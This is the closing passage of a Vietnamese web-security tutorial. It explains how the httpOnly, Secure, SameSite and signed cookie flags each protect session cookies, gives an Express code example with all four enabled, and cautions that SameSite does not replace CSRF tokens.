Bốn lớp bảo vệ ở trên giải quyết bốn mối đe dọa khác nhau, và không lớp nào thay được lớp nào: httpOnly chặn JavaScript đọc Cookie, Secure chặn nghe lén trên đường truyền, SameSite chặn Cookie đi kèm request từ site khác, còn signing phát hiện Cookie bị sửa. Với session cookie, hãy bật cả bốn.
Nếu chỉ nhớ được một dòng, hãy nhớ dòng này — và đừng phó mặc cho giá trị mặc định của trình duyệt:
1
2
3
4
5
6
7
res.cookie("sessionId", sessionId, {
httpOnly: true,
secure: true,
sameSite: "lax",
signed: true,
maxAge: 3600000,
});Và nhớ rằng SameSite không thay thế được CSRF token: mọi subdomain đều là same-site, nên một lỗ hổng ở blog.bank.example vẫn có đường vòng sang bank.example. Hãy áp dụng ngay vào dự án của bạn!